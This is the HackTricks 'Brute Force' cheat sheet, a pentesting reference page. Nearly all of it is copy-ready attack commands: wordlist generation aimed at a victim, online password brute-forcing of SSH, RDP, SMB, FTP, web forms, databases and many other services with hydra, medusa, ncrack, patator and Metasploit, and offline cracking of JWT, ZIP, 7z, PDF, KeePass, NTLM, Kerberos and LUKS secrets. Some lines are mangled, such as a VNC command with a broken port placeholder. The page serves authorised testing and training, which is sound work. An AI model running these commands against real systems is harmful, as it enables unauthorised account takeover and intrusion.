Pentesting

Brute Force - CheatSheet

Do you use Hacktricks every day? Did you find the book very useful? Would you like to receive extra help with cybersecurity questions? Would you like to find more and higher quality content on Hacktricks? Support Hacktricks through github sponsors so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!

If you want to know about my latest modifications/additions or you have any suggestion for HackTricks or PEASS, join the πŸ’¬β€‹telegram group, or follow me on Twitter πŸ¦β€‹@carlospolopm. If you want to share some tricks with the community you can also submit pull requests to https://github.com/carlospolop/hacktricks that will be reflected in this book and don't forget to give ⭐ on github to motivate me to continue developing this book.

Default Credentials

Search in google for default credentials of the technology that is being used, or try this links:

Create your own Dictionaries

Find as much information about the target as you can and generate a custom dictionary. Tools that may help:

Crunch

crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)
​
@ Lower case alpha characters
, Upper case alpha characters
% Numeric characters
^ Special characters including spac
crunch 6 8 -t ,@@^^%%

Cewl

cewl example.com -m 5 -w words.txt

​CUPP​

Generate passwords based on your knowledge of the victim (names, dates...)

python3 cupp.py -h

​pydictor​

Wordlists

Services

Ordered alphabetically by service name.

AFP

nmap -p 548 --script afp-brute <IP>
msf> use auxiliary/scanner/afp/afp_login
msf> set BLANK_PASSWORDS true
msf> set USER_AS_PASS true
msf> set PASS_FILE <PATH_PASSWDS>
msf> set USER_FILE <PATH_USERS>
msf> run

AJP

nmap --script ajp-brute -p 8009 <IP>

Cassandra

nmap --script cassandra-brute -p 9160 <IP>

CouchDB

msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /

Docker Registry

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/

Elasticsearch

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /

FTP

hydra -l root -P passwords.txt [-t 32] <IP> ftp
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp

HTTP Generic Brute

​WFuzz​

HTTP Basic Auth

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
# Use https-get mode for httpS
medusa -h <IP> -u <username> -P <passwords.txt> -M http -m DIR:/path/to/auth -T 10

HTTP - Post Form

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for httpS

For https you have to change from "http-post-form" to "https-post-form"

HTTP - CMS -- (W)ordpress, (J)oomla or (D)rupal or (M)oodle

cmsmap -f W/J/D/M -u a -p a https://wordpress.com

IMAP

hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
nmap -sV --script imap-brute -p <PORT> <IP>

IRC

nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>

ISCSI

nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>

JWT

#hashcat
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
​
#https://github.com/Sjord/jwtcrack
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
​
#John
john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256
​
#https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py -d wordlists.txt <JWT token>
​
#https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8
​
#https://github.com/mazen160/jwt-pwn
python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt
​
#https://github.com/lmammino/jwt-cracker
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6

LDAP

nmap --script ldap-brute -p 389 <IP>

Mongo

nmap -sV --script mongodb-brute -n -p 27017 <IP>
use auxiliary/scanner/mongodb/mongodb_login

MySQL

hydra -L usernames.txt -P pass.txt <IP> mysql
msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false

OracleSQL

patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
​
./odat.py passwordguesser -s $SERVER -d $SID
./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt
​
#msf1
msf> use admin/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORT 1521
msf> set SID <SID>
​
#msf2, this option uses nmap and it fails sometimes for some reason
msf> use scanner/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORTS 1521
msf> set SID <SID>
​
#nmap fails sometimes for some reson executing this script
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>

In order to use oracle_login with patator you need to install:

pip3 install cx_Oracle --upgrade

​Offline OracleSQL hash bruteforce (versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2, and 11.2.0.3):

nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30

POP

hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V

PostgreSQL

hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP>:5432
patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
use auxiliary/scanner/postgres/postgres_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>

PPTP

You can download the .deb package to install from https://http.kali.org/pool/main/t/thc-pptp-bruter/​

sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>

RDP

ncrack -vv --user <User> -P pwds.txt rdp://<IP>
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>

Redis

msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP>
hydra –P /path/pass.txt <IP> redis

Rexec

hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V

Rlogin

hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V

Rsh

hydra -L <Username_list> rsh://<Victim_IP> -v -V

​http://pentestmonkey.net/tools/misc/rsh-grind​

Rsync

nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>

RTSP

hydra -l root -P passwords.txt <IP> rtsp

SNMP

msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp

SMB

nmap --script smb-brute -p 445 <IP>
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1

SMTP

hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL

SOCKS

nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>

SQL Server

#Use the NetBIOS name of the machine as domain
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> mssql
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be carefull with the number of password in the list, this could block accounts
msf> use auxiliary/scanner/mssql/mssql_login #Be carefull, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT

SSH

hydra -l root -P passwords.txt [-t 32] <IP> ssh
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh
patator ssh_login host=<ip> port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'

Telnet

hydra -l root -P passwords.txt [-t 32] <IP> telnet
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M telnet

VNC

hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
ncrack -V --user root -P /root/Desktop/pass.txt <IP>:>POR>T
patator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0use auxiliary/scanner/vnc/vnc_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>

Winrm

crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

Local

Online cracking databases

Check this out before trying to bruteforce a Hash.

ZIP

fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip
zip2john file.zip > zip.john
john zip.john
#$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack

7z

cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
#Download and install requirements for 7z2john
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl
apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john

PDF

apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
#pdf2john didnt worked well, john didnt know which hash type was
# To permanently decrypt the pdf
sudo apt-get install qpdf
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf

JWT

git clone https://github.com/Sjord/jwtcrack.git
cd jwtcrack
​
#Bruteforce using crackjwt.py
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
​
#Bruteforce using john
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John

NTLM cracking

Format:USUARIO:ID:HASH_LM:HASH_NT:::
jhon --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot

Keepass

sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password
keepass2john -k <file-password> file.kdbx > hash # The keepas is also using a file as a needed credential
#The keepass can use password and/or a file as credentials, if it is using both you need to provide them to keepass2john
john --wordlist=/usr/share/wordlists/rockyou.txt hash

Keberoasting

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

Lucks image

Method 1

Install: https://github.com/glv2/bruteforce-luks​

bruteforce-luks -f ./list.txt ./backup.img
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt

Method 2

cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
hashcat -m 14600 -a 0 luckshash wordlists/rockyou.txt
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt

Mysql

#John hash format
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d

Tools

Hash examples: https://openwall.info/wiki/john/sample-hashes​

Hash-identifier

hash-identifier
> <HASH>

John mutation

Read /etc/john/john.conf and configure it

john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules

Hashcat

hashcat --example-hashes | grep -B1 -A2 "NTLM"

Cracking Linux Hashes - /etc/shadow file

500 | md5crypt $1$, MD5(Unix) | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems

Cracking Windows Hashes

3000 | LM | Operating-Systems
1000 | NTLM | Operating-Systems

Cracking Common Application Hashes

900 | MD4 | Raw Hash
0 | MD5 | Raw Hash
5100 | Half MD5 | Raw Hash
100 | SHA1 | Raw Hash
10800 | SHA-384 | Raw Hash
1400 | SHA-256 | Raw Hash
1700 | SHA-512 | Raw Hash